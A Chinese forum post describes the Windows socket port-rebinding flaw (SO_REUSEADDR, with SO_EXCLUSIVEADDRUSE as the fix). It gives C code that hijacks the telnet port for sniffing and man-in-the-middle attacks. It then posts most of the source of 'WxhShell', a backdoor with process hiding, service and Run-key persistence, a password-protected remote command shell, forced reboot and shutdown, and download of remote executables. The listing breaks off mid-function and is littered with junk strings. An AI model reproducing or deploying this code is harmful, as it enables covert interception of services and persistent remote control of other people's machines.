社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19781阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {  'Db  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &}G2;O}3  
J}cqBk>  
  saddr.sin_family = AF_INET; I+]q;dF;  
Wp<4F 6C$@  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); gIfl}Jat  
"eiZZSz  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); %;|^*?!J0  
B&E qd  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~ g\GC  
Gn_rf"  
  这意味着什么?意味着可以进行如下的攻击: {@c)!% 2$  
xi2!__  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hI{M?LQd  
i?&g;_n^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) H#l uG_)  
+84JvOkWi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Hki  
& A%*sD6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -~-BQ!!(  
ah\yw  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 A[@xTq s{{  
ir%?J&C+t  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q;p:)Q"  
VnB"0 "%w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 b]X c5Dp{  
,dM}B-  
  #include { ke}W  
  #include mPy=,xYyC  
  #include G92Ya^`  
  #include    JC6Bs`=s~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O*dN+o  
  int main() s6|Ev IVM  
  { 6ZCSCBW  
  WORD wVersionRequested; V~> x \  
  DWORD ret; WML%yO\.;  
  WSADATA wsaData; [h>RO55e  
  BOOL val; V]V~q ]  
  SOCKADDR_IN saddr; a.r+>44M  
  SOCKADDR_IN scaddr; ~hSr06IY  
  int err; ep- ~;?  
  SOCKET s; H53dy*wb$  
  SOCKET sc; ppjS|l*`  
  int caddsize; 4]F:QS% x  
  HANDLE mt; #&A)%Qbg  
  DWORD tid;   #G;0yB:76  
  wVersionRequested = MAKEWORD( 2, 2 ); J1Ay^*qRU  
  err = WSAStartup( wVersionRequested, &wsaData ); ?n 9<PMo  
  if ( err != 0 ) { yaiw|j`A  
  printf("error!WSAStartup failed!\n"); j`GL#J[wqQ  
  return -1; zCZ]`  
  } u!FX 0Ip  
  saddr.sin_family = AF_INET; 2aef[TY  
   Ov$_Phm:  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lC8DhRd0_  
6^M!p4$hF  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2cy: l03  
  saddr.sin_port = htons(23); ,,hW|CmN30  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -hx' T6G%  
  { tCFXb6Cz  
  printf("error!socket failed!\n"); dy^Zlu` f  
  return -1; p<w2e  
  } Q{ibH=^  
  val = TRUE; o/grM+_  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 %Y7\0q~Z  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Z Sj[GI  
  { TmZ% ;TN  
  printf("error!setsockopt failed!\n"); {_GhS%  
  return -1; UQmdm$.  
  } bT^6AtsJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7$8YBcZ6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 " Zo<$p3]  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 h/7m.p]  
^h}xFiAV#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) bG`aF*10)!  
  { dWhki|c  
  ret=GetLastError(); s}NE[Tw  
  printf("error!bind failed!\n"); {s8v0~  
  return -1; uAd4 Zz  
  } z@Klj qN  
  listen(s,2); aNX M~;5~  
  while(1) EZ6\pyNB0#  
  { To_Y 8 G  
  caddsize = sizeof(scaddr); HzcI2 P`|  
  //接受连接请求 gVM&wo |  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); t u )kWDk  
  if(sc!=INVALID_SOCKET) K\w:'%>-  
  { E;Akm':  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); zGfF.q}  
  if(mt==NULL) ^W&qTSjh  
  { n-/ {H4\  
  printf("Thread Creat Failed!\n"); cO]_5@#f'8  
  break; $e bx  
  } |yqL0x0\l  
  } jea{BhdUr  
  CloseHandle(mt); ~C|. .Z  
  } S?ypka"L  
  closesocket(s); '&XL|_Iq  
  WSACleanup(); w}wABO  
  return 0; Y8 c#"vm(  
  }   WInfn f+'  
  DWORD WINAPI ClientThread(LPVOID lpParam) x4$#x70?  
  { Y[=X b  
  SOCKET ss = (SOCKET)lpParam; |\PI"rW  
  SOCKET sc; 381a(F[$e  
  unsigned char buf[4096]; Ev adY  
  SOCKADDR_IN saddr; P;.j5P^j`  
  long num; eXN\w]GE  
  DWORD val; (#uz_/xXa  
  DWORD ret; #le1 ^ <w7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 LHQ$0LVt>T  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   !'y9/  
  saddr.sin_family = AF_INET; 2pKkg>/S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :gD=F&V  
  saddr.sin_port = htons(23); rb"J{^  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) = ;hz,+  
  { it Byw1/  
  printf("error!socket failed!\n"); (n4\$LdP-  
  return -1; 3`%]3qd}  
  } Oz3JMZe  
  val = 100; U`G  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %\i OX|F_  
  { fVb~j;  
  ret = GetLastError(); >iZ"#1ZL2O  
  return -1; [{}Hk%wlX  
  } z|p C*1A\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d`}t!]Gg  
  { _h?hFs,N]  
  ret = GetLastError(); 41Y1M]`=  
  return -1; ,~ z*V;y)  
  } w"A.*8Iu  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ! MTmG/^  
  { i?{cB!7  
  printf("error!socket connect failed!\n"); sbeS9vE  
  closesocket(sc); hH&A1vUv  
  closesocket(ss); 8>\tD  
  return -1; J@ CKgE  
  } F.]D\"0`  
  while(1) M<nKk#!+h  
  { ';>]7oT`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 h83W;s  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 fJiY~mQ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F'~\!dNL  
  num = recv(ss,buf,4096,0); apz) 4%A  
  if(num>0) 0bl?dOV{  
  send(sc,buf,num,0);  S2;u!f  
  else if(num==0) \ 5&-U@  
  break; uWtj?Q+M|  
  num = recv(sc,buf,4096,0); f ye=8 r  
  if(num>0) +D3w2C  
  send(ss,buf,num,0); xF/u('A  
  else if(num==0) JX.3b_O  
  break; -:$#koW  
  } >cTSX  
  closesocket(ss); C2X$bX"  
  closesocket(sc); bfE4.YF  
  return 0 ; {*BZ;Xh\8  
  } 3xhGmD\SKO  
tL>c@w#Pv  
?:sk [f6  
========================================================== 3qlY=5Y  
I_dO*k%l  
下边附上一个代码,,WXhSHELL Y8%bk2  
PLb[U(~  
========================================================== j[ fE^&  
Q\QSnMM&]  
#include "stdafx.h" S6<z2-y  
(C3:_cM5  
#include <stdio.h> Wb1?>q  
#include <string.h> 4#^E$N:  
#include <windows.h> DN$[rCi7  
#include <winsock2.h> 6rP?$mn2  
#include <winsvc.h> prk@uYCa =  
#include <urlmon.h> io[>`@=  
uht>@ WSg|  
#pragma comment (lib, "Ws2_32.lib") ehpU`vQz  
#pragma comment (lib, "urlmon.lib") e|-%-juI  
?@>PKUv{  
#define MAX_USER   100 // 最大客户端连接数 b] 5i`  
#define BUF_SOCK   200 // sock buffer 6T9?C|q  
#define KEY_BUFF   255 // 输入 buffer 85}S8\_u  
Os rHA  
#define REBOOT     0   // 重启 E',z<S  
#define SHUTDOWN   1   // 关机 _spW~"|G  
,pTj'I  
#define DEF_PORT   5000 // 监听端口 )8Q;u8jm1  
j*6>{_[  
#define REG_LEN     16   // 注册表键长度 wni^qs.i@3  
#define SVC_LEN     80   // NT服务名长度 +lhjz*0  
ZL7#44  
// 从dll定义API +I <^w)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "Dt: 8Nf^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Q"Pl)Q\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q2)CbHSz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); aA6m5  
75"&"*R/*G  
// wxhshell配置信息 >53Hqzm&  
struct WSCFG { ;"9$LHH*  
  int ws_port;         // 监听端口 nu6p{_M  
  char ws_passstr[REG_LEN]; // 口令 v;WfcpWq2  
  int ws_autoins;       // 安装标记, 1=yes 0=no {hH8+4c7  
  char ws_regname[REG_LEN]; // 注册表键名 B>kVJK`X  
  char ws_svcname[REG_LEN]; // 服务名 !r#36kO  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f;`7}7C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2Kmnt(>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 riu_^!"Z_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~p!=w#/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !^x;4@Ejm  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d(_;@%p1X  
j9 d^8)O,  
}; 0 3?7kAI  
J?$`Tnx^  
// default Wxhshell configuration 8=-/0y9,  
struct WSCFG wscfg={DEF_PORT, J5zKwt  
    "xuhuanlingzhe", tt03 gU`  
    1, qy( kb(J  
    "Wxhshell", d1>L&3HKx  
    "Wxhshell", $fhR1A  
            "WxhShell Service", (^~0%1  
    "Wrsky Windows CmdShell Service", H?4t\pSS  
    "Please Input Your Password: ", KX^!t3l6  
  1, t!&p5wJ*Q  
  "http://www.wrsky.com/wxhshell.exe", 0PdX>h.t  
  "Wxhshell.exe" *v:o`{vM[  
    }; -d]v6q'1  
0 /)OAw"m  
// 消息定义模块 i4dy0jfN  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [KW9J}]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nkO4~p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?58*#'r  
char *msg_ws_ext="\n\rExit."; iGw\A!}w\  
char *msg_ws_end="\n\rQuit."; XE`u  
char *msg_ws_boot="\n\rReboot..."; l|S_10x5  
char *msg_ws_poff="\n\rShutdown..."; }08Sv=XM  
char *msg_ws_down="\n\rSave to "; 68()2v4X  
G2s2i2& 6E  
char *msg_ws_err="\n\rErr!"; 6[3>[ej:x  
char *msg_ws_ok="\n\rOK!"; j\\uW)ibG  
Vwpy/5Hmp  
char ExeFile[MAX_PATH]; n48%Uwa,  
int nUser = 0; Blox~=cW  
HANDLE handles[MAX_USER]; tL\L4>^7T  
int OsIsNt; 7Ml OBPh  
+ZJ1> n  
SERVICE_STATUS       serviceStatus; >*1YL)DBT\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; QD;:!$Du  
k0IztFyj:R  
// 函数声明 dk_! ~Z  
int Install(void); e% #?B *  
int Uninstall(void);  r<1.'F  
int DownloadFile(char *sURL, SOCKET wsh); /y3Lc.-  
int Boot(int flag); }PX8#C_P  
void HideProc(void); M6lNdK  
int GetOsVer(void); `G<|5pe  
int Wxhshell(SOCKET wsl); o9+fA H`D  
void TalkWithClient(void *cs); We@wN:  
int CmdShell(SOCKET sock); Jl fIYf~  
int StartFromService(void); *Xk gwJq  
int StartWxhshell(LPSTR lpCmdLine); Dq<!wtFG[  
V`_)H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h/NI5   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #^9a[ZLj0  
V5!mV_EoR@  
// 数据结构和表定义 ,xg(F0q  
SERVICE_TABLE_ENTRY DispatchTable[] = ;0nL1R]w(  
{ {q/D,Rh8  
{wscfg.ws_svcname, NTServiceMain}, 0[92&:c,  
{NULL, NULL} '"9Wt@ .  
}; 0O|l7mCr%I  
F @uOXNz)  
// 自我安装 NI2-*G_M  
int Install(void) uX8G<7O^  
{ )rbcY0q  
  char svExeFile[MAX_PATH]; Os[50j!4>  
  HKEY key; UJ^-T+fut  
  strcpy(svExeFile,ExeFile); T5+ (Fz  
9D @}(t !  
// 如果是win9x系统,修改注册表设为自启动 h9cx~/7,_)  
if(!OsIsNt) { )vD|VLV   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W744hq@P%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?Vc/mO2X  
  RegCloseKey(key); S20E}bS:>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wT&P].5n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K{`3,U2Wx  
  RegCloseKey(key);  <xwaFZ  
  return 0; +|.6xC7U  
    } a9p6[qOcd  
  } l*|m(7s  
} POb2U1Sj  
else { >]/aG!  
tREC)+*\  
// 如果是NT以上系统,安装为系统服务 S!g0J}.z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f"d4HZD^  
if (schSCManager!=0) L r9z~T:ED  
{ :pGgxO%q  
  SC_HANDLE schService = CreateService |K'7BK_^J  
  ( I7{ Q\C4  
  schSCManager, S,GM!YZg  
  wscfg.ws_svcname, N3|aNQ=X0  
  wscfg.ws_svcdisp, X~rHNRIU  
  SERVICE_ALL_ACCESS, )WbE -m  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , otJHcGv  
  SERVICE_AUTO_START, 1zIrU6H2;_  
  SERVICE_ERROR_NORMAL, P+(Ys[J3  
  svExeFile, FfibR\dhY  
  NULL, ~uweBp~O  
  NULL, {AO`[  
  NULL, Dlx-mm_  
  NULL, ^e:rRk7 &  
  NULL ntD8:%m  
  ); K~jN"ev  
  if (schService!=0) E )%r}4u>  
  { )B5(V5-!|  
  CloseServiceHandle(schService); b-)3MR:4  
  CloseServiceHandle(schSCManager); |&\cr\T\r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); l1D"*J 2`  
  strcat(svExeFile,wscfg.ws_svcname); DTM xfQdk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { J85Kgd1 \a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .ot[_*A.FD  
  RegCloseKey(key); m*\XH DB  
  return 0; y*5$B.u`.  
    } jrm L>0NZ  
  } \j~LxV  
  CloseServiceHandle(schSCManager); I.'sK9\Zp  
} xXNL UP  
} KL+,[M@ F  
i`vgD<}  
return 1; B{-+1f4  
} }OLBEhGs  
uz@WW!+o  
// 自我卸载 ?ubIh.d  
int Uninstall(void) Jkub|w#QH  
{ ?KXgG'!!  
  HKEY key; & <Jvaf_=  
"jAEZ  
if(!OsIsNt) { #{Gojg`5O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g TqtTd~L  
  RegDeleteValue(key,wscfg.ws_regname); N0']t Gh2  
  RegCloseKey(key); 6l?\iE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D>I|(B!.p8  
  RegDeleteValue(key,wscfg.ws_regname); >Wr  
  RegCloseKey(key); h&6t.2<e  
  return 0; `|g*T~; kC  
  } e(;nhU3a*,  
} I DtGtkF  
} Zmr*$,v<y  
else { sp&)1?!M  
bx%P-r31  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .LEn~ 8  
if (schSCManager!=0) {-kV~p  
{ /b~|(g31"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7d'gG[Z^^  
  if (schService!=0) <P)0Yu  
  { X~5kgq0"  
  if(DeleteService(schService)!=0) { +]NPxUa  
  CloseServiceHandle(schService); `DcZpd.n  
  CloseServiceHandle(schSCManager); "\u_gk{g  
  return 0; :Y>M/ /0  
  } @qWes@  
  CloseServiceHandle(schService); S!wY6z  
  } _9Y7. 5  
  CloseServiceHandle(schSCManager); B;mt11M  
} @(Y+W2Iyy+  
} tx01*2]pX  
UXN!iU)  
return 1; 7s-ZRb[)1  
} ]U,f}T"e  
Kh;jiK !  
// 从指定url下载文件 =_Y#uE$  
int DownloadFile(char *sURL, SOCKET wsh) =#ls<Zo:  
{ no lLeRE1  
  HRESULT hr; +x"cWOg  
char seps[]= "/"; YJEL'k<l  
char *token; =/]d\JSp  
char *file; ,6FmU$ Kn  
char myURL[MAX_PATH]; ,c\3b)ax  
char myFILE[MAX_PATH]; f MDM\&f  
STH?X] /  
strcpy(myURL,sURL); qX?k]m   
  token=strtok(myURL,seps); `VxfAV?}  
  while(token!=NULL) e.:SBXZ  
  { <xWBS/K  
    file=token; W2\ Q-4D  
  token=strtok(NULL,seps); TWFi.w4pY  
  } ^@0-E@ {c  
;wkoQ8FD9  
GetCurrentDirectory(MAX_PATH,myFILE); r]+N(&q  
strcat(myFILE, "\\"); _laLTP*  
strcat(myFILE, file); =2yg:D  
  send(wsh,myFILE,strlen(myFILE),0); _N-JRM m<  
send(wsh,"...",3,0); iSz?V$}?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xX]92Q  
  if(hr==S_OK) }R -azN;  
return 0; Q #%C)7)  
else @hE$x-TP0  
return 1; HX]pcX^K  
t6H9Q>*  
} !\%0O`b^4  
8=h$6=1S  
// 系统电源模块 :Sj r  
int Boot(int flag) 0aS&!"o!  
{ C3 m#v[+  
  HANDLE hToken; LVj62&,-  
  TOKEN_PRIVILEGES tkp; &J~%Nt  
W~&PGmRI  
  if(OsIsNt) { eVYUJ,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +o\s |G|l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0 G.y_<=  
    tkp.PrivilegeCount = 1; :6Q`! in  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N<54_(|X  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); i+z;tF`  
if(flag==REBOOT) { wEImpsC`  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u*NU MT2  
  return 0; ^Q\O8f[u  
} "?~u*5  
else { -bHfo%"^TT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) %)K)h&m  
  return 0; 3g#fX{e_5!  
} D|1pBn.b]'  
  } 3)J0f+M>dv  
  else { 8VwByk8  
if(flag==REBOOT) { `Oc`I9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A%G \ AT  
  return 0; z!={d1u#T  
} @fH?y Z=>  
else { kM`!'0kt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !y>MchNv  
  return 0; |H)WJ/`  
} N8>;BHBV!  
} ktr l|  
Hlw0i a  
return 1; v<`1z?dch  
} EQ j2:9f  
!:[kS1s>M  
// win9x进程隐藏模块 tilL7  
void HideProc(void) 79>8tOuo  
{ +r+H`cT@  
p?X`f#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G([!(8&2Y  
  if ( hKernel != NULL ) 2_x~y|<9  
  { xCd9b:jG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;rj=hc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 90pk  
    FreeLibrary(hKernel); Us ]Uy|j  
  } cXO_g!&2A  
c !ybz{L  
return; "/)}Cc,L  
}  'S f  
@'Er&[P  
// 获取操作系统版本 C<.t'|  
int GetOsVer(void) 7b_Ihv   
{ qR~s&SC#  
  OSVERSIONINFO winfo; 6c3+q+#J2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ZcXqH7`r  
  GetVersionEx(&winfo); U~SOHfZ%(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wNuS'P_(:T  
  return 1; p1=sDsLL  
  else Ah2%LXdHA  
  return 0; *n)3y.s  
} R,hX *yVq  
NC 0H5  
// 客户端句柄模块 2 AZ[gr@c  
int Wxhshell(SOCKET wsl) ~67L  
{ nD\ X3g `V  
  SOCKET wsh; 4=H/-v'&  
  struct sockaddr_in client; ;mXr])J  
  DWORD myID; a; Ihv#q  
89B1\ff  
  while(nUser<MAX_USER) `'u|4pRFs  
{ EiY i<Z_S  
  int nSize=sizeof(client); urHQb5|T}  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zcg=a_  
  if(wsh==INVALID_SOCKET) return 1; )>)_>[  
K%<Z"2!+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <!\J([NM8  
if(handles[nUser]==0) ,/\%-u? 1x  
  closesocket(wsh); |5}{4k~9J  
else a4 g~'^uC  
  nUser++; K5Fzmo a  
  } '|e5cW6z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Dg_/Iu>OAE  
^P-!pK*  
  return 0; 3<x_[0v`K1  
} }6P]32d  
/q %TjQ}F  
// 关闭 socket .E_`*[ 5=  
void CloseIt(SOCKET wsh) K \}xb2s  
{ _Gy*";E  
closesocket(wsh); AM}-dKei|  
nUser--; GYiUne $  
ExitThread(0); I\sCH  
} ^/HE_keY  
7581G$@ym  
// 客户端请求句柄 RIUJ20PfYQ  
void TalkWithClient(void *cs) :yvUHx  
{ 5:f}bW*  
l[ ^bo/  
  SOCKET wsh=(SOCKET)cs; Mg95us  
  char pwd[SVC_LEN]; Q]7Q4U  
  char cmd[KEY_BUFF]; _OTkv6;4n  
char chr[1]; WK#lE&V3  
int i,j; |B4dFI?  
\O?#gW\tR  
  while (nUser < MAX_USER) { kX {c+qHM  
~ K^Z4  
if(wscfg.ws_passstr) { &hs)}uM&$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GZ@!jF>!u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); knypSgk_  
  //ZeroMemory(pwd,KEY_BUFF); ~s{$&N  
      i=0; VLtb16|  
  while(i<SVC_LEN) { 4;|&}Ij  
#hzs,tvvD  
  // 设置超时 E/_=0t  
  fd_set FdRead; f7XmVCz1  
  struct timeval TimeOut; Vm&fw".J  
  FD_ZERO(&FdRead); THK)G2 =  
  FD_SET(wsh,&FdRead); XLFJ?$)Tro  
  TimeOut.tv_sec=8; q{c6DCc]\  
  TimeOut.tv_usec=0; \VPU)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);  ~J"*ahl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GVY_u@6   
&nj@t>5Bs$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U,Z.MP Q  
  pwd=chr[0]; RXgi>Hz  
  if(chr[0]==0xd || chr[0]==0xa) { Q=~e|  
  pwd=0; Oa7`Y`6  
  break; L4S Fu.J'  
  } p=9G)VO  
  i++; _}`iLA!$I  
    } y{K~g<VL  
? {cF'RB.  
  // 如果是非法用户,关闭 socket !e.@Xk.P6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 34]f[jJ|  
} ZWmmFKFG.  
BWL~)Hx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y cO tPS%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )y.J2_lI8  
|!I#T  
while(1) { ^fS~va  
,_YCl09p(  
  ZeroMemory(cmd,KEY_BUFF); \8Fe56  
N+!{Bt*  
      // 自动支持客户端 telnet标准   CbS9fc&  
  j=0; 6E@r9U  
  while(j<KEY_BUFF) { d'^jek h  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #(bMZ!/(  
  cmd[j]=chr[0]; rq}ew0&/  
  if(chr[0]==0xa || chr[0]==0xd) { qN+ngk,:  
  cmd[j]=0; T\8|Q @  
  break; %S.R@C[3  
  } yZ6560(q  
  j++; ;2)@NH  
    } -UPdgZ_Vxz  
8K6yqc H  
  // 下载文件 292e0cE  
  if(strstr(cmd,"http://")) { 7qgHH p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *'PG@S  
  if(DownloadFile(cmd,wsh)) Q>JJI:uC4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ph%/;?wY  
  else #Cvjv; QwY  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Po(9BRd7  
  } z930Wi{@  
  else { E7oL{gU  
>=6tfLQ  
    switch(cmd[0]) { #s)6u?N  
  )@\= pE.H  
  // 帮助 a0CmCv2#  
  case '?': { vUvIZa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); EFqWnz  
    break; :)cPc7$8  
  } g"hm"m}i  
  // 安装 ~H7m7  
  case 'i': { mcpM<vY/H  
    if(Install()) +P6q wh\v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ; R&wr _%  
    else z6ArSLlZ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,N?~je.  
    break; o[O-|XL_  
    } m/Q@-  
  // 卸载 GFYAg  
  case 'r': { go@UE2qw  
    if(Uninstall()) + ( `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l~!\<, !  
    else liA)|.H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SQ1.jcWW[  
    break; ZXFM_>y 5  
    } 506B =  
  // 显示 wxhshell 所在路径 '_@Y  
  case 'p': { 5nkx8JJ  
    char svExeFile[MAX_PATH];  .]k+hc`  
    strcpy(svExeFile,"\n\r"); i"r&CS)sT  
      strcat(svExeFile,ExeFile); cX> a>U  
        send(wsh,svExeFile,strlen(svExeFile),0); |Eu_K`  
    break; UMma|9l(i  
    } Gvb>M=9  
  // 重启 wbyY?tH  
  case 'b': { nz3j";d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p'0jdb :S  
    if(Boot(REBOOT)) \=kH7 !  
